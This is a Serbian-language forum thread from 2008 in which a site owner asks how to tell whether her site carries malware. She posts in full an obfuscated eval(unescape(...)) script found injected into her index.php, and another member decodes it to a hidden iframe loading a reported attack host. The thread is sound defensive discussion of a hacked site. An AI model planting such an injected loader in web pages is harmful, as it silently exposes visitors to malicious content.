[es] - Kako da proverim da li sajt ima virus?

Shadowed
Vojvodina

Član broj: 649
Poruke: 12851

+4784 Profil

Re: Kako da proverim da li sajt ima virus?

^{01.06.2008. u 00:50 - pre 193 meseci}

Da li bas imas trojanca na kompu ili je samo antivirus prijavio dok si otvarala neku stranu na sajtu? Stvar je u tome da antivirusi nekada prijavljuju takve stvari u javascript (*.js) fajlovima cak i ako nema stvarno niceg zlonamernog.

Nebojsa Milanovic: Što se tiče Trumpa, smatram ga vrhunskim predsednikom i voleo bih da živim u državi na čijem je on čelu.
Nebojsa Milanovic: Rusija ne laže, ne vodi osvajačke ratove
Nebojsa Milanovic: Trump je svetla tačka u USA blatu.

Odgovor na temu

_Maria_
Beograd

Član broj: 162085
Poruke: 93
77.46.190.*

Profil

Re: Kako da proverim da li sajt ima virus?

^{01.06.2008. u 10:05 - pre 193 meseci}

Ne samo da sam imala trojanca nego sam morala 2x da reinstaliram os. Treci put sam mu dosla glave.
Imala sam win32.dll koji nisu uspeli da obrisu ni nod32, adaware, s&d, spyware terminator i jos nekoliko program koja sam skinula sa neta. Ne moze se obrisati ni u safemodu, posto pravi systemske fajlove, instalira se medju drajverima...Na kraju sam ga eliminisala kombinacijom Regrunovog programcica Reanimator i SDfixom.

Nego, zar nije cudno imati u index.php ovako nesto:

<script type="text/javascript">
eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%5C%75%30%30%
33%63%5C%75%30%30%36%39%5C%75%30%30%36%36%5C%75%30%30%37%32%5C%75%30%30%36
%31%5C%75%30%30%36%64%5C%75%30%30%36%35%5C%75%30%30%32%30%5C%75%30%30%37%
33%5C%75%30%30%37%32%5C%75%30%30%36%33%5C%75%30%30%33%64%5C%75%30%30%32%32
%5C%75%30%30%36%38%5C%75%30%30%37%34%5C%75%30%30%37%34%5C%75%30%30%37%30%
5C%75%30%30%33%61%5C%75%30%30%32%66%5C%75%30%30%32%66%5C%75%30%30%36%66%5C
%75%30%30%37%32%5C%75%30%30%36%35%5C%75%30%30%36%65%5C%75%30%30%37%34%5C%
75%30%30%37%32%5C%75%30%30%36%31%5C%75%30%30%36%36%5C%75%30%30%36%36%5C%75%
30%30%32%65%5C%75%30%30%36%33%5C%75%30%30%36%65%5C%75%30%30%32%66%5C%75%30%
30%36%39%5C%75%30%30%36%65%5C%75%30%30%32%65%5C%75%30%30%36%33%5C%75%30%30%
36%37%5C%75%30%30%36%39%5C%75%30%30%33%66%5C%75%30%30%33%35%5C%75%30%30%32%
32%5C%75%30%30%32%30%5C%75%30%30%37%37%5C%75%30%30%36%39%5C%75%30%30%36%34%
5C%75%30%30%37%34%5C%75%30%30%36%38%5C%75%30%30%33%64%5C%75%30%30%32%32%5C%
75%30%30%33%30%5C%75%30%30%32%32%5C%75%30%30%32%30%5C%75%30%30%36%38%5C%75%
30%30%36%35%5C%75%30%30%36%39%5C%75%30%30%36%37%5C%75%30%30%36%38%5C%75%30%
30%37%34%5C%75%30%30%33%64%5C%75%30%30%32%32%5C%75%30%30%33%30%5C%75%30%30%
32%32%5C%75%30%30%32%30%5C%75%30%30%37%33%5C%75%30%30%37%34%5C%75%30%30%37%
39%5C%75%30%30%36%63%5C%75%30%30%36%35%5C%75%30%30%33%64%5C%75%30%30%32%32%
5C%75%30%30%36%34%5C%75%30%30%36%39%5C%75%30%30%37%33%5C%75%30%30%37%30%5C%
75%30%30%36%63%5C%75%30%30%36%31%5C%75%30%30%37%39%5C%75%30%30%33%61%5C%75%
30%30%36%65%5C%75%30%30%36%66%5C%75%30%30%36%65%5C%75%30%30%36%35%5C%75%30%
30%32%32%5C%75%30%30%33%65%5C%75%30%30%33%63%5C%75%30%30%32%66%5C%75%30%30%
36%39%5C%75%30%30%36%36%5C%75%30%30%37%32%5C%75%30%30%36%31%5C%75%30%30%36%
64%5C%75%30%30%36%35%5C%75%30%30%33%65%27%29%3B"));
</script>

Znam da je encodovani html, koji kad se dekoduje meni bar nista ne govori, ali mi deluje prilicno sumnjivo.

www.zenskiportal.com
www.stranijezici.net

Odgovor na temu

Zekica
Filip Milivojević
Pirot, Niš

Član broj: 2856
Poruke: 309
*.exe-net.net.

Jabber: zekica@elitesecurity.org
Sajt: www.pirotcity.com

+10 Profil

Re: Kako da proverim da li sajt ima virus?

^{01.06.2008. u 11:11 - pre 193 meseci}

Ovo kad se dekoduje kompletno znači:

Code:
<iframe src="http://orentraff.cn/in.cgi?5" width="0" height="0" style="display:none"></iframe>

A meni firefox 3 kaže za taj sajt (orentraff.cn) da je "Reported Attach Site!", tako da ovo definitivno jeste sumnjivo.

Sad ja znam zašto sam vam ovo ispričao, ovo će sigurno nekome koristiti....

Odgovor na temu

yolja624

Član broj: 9380
Poruke: 1856

+643 Profil

Re: Kako da proverim da li sajt ima virus?

^{01.06.2008. u 11:29 - pre 193 meseci}

@ zekica
Aj me nauci kako da to dekodiram? Imao sam na jednom mjestu slican problem, koji sam doduse rijesio, ali nikad mi nije uspjelo da skapiram sta je taj kod :S

Odgovor na temu

_Maria_
Beograd

Član broj: 162085
Poruke: 93
77.46.190.*

Profil

Re: Kako da proverim da li sajt ima virus?

^{01.06.2008. u 14:11 - pre 193 meseci}

Dobro, razresili smo misteriju, sajt je hakovan:)Ima gomila stvari o tom orentraff.cn na netu.

Obrisala sam kod u index.php fajlu i index2.php. Sad me zanima da li treba da chekiram svaki fajl na sajtu i vidim da li ima nesto sumnjivo ili neko ima ideju gde i sta prvo da trazim?
Drugo, da li treba i sql bazu da proverim (kojoj trenutno iz nepoznatih razloga ne mogu da pristupim preko phpmyadmin-a) u potrazi za nekim 'fantomskim juzerima' kako procitah na nekom forumu?

Trece, kao sto rece yolja624, Zekice kako si dekodirao? :) Ja sam probala nesto na netu, ali to je bezveze.

www.zenskiportal.com
www.stranijezici.net

Odgovor na temu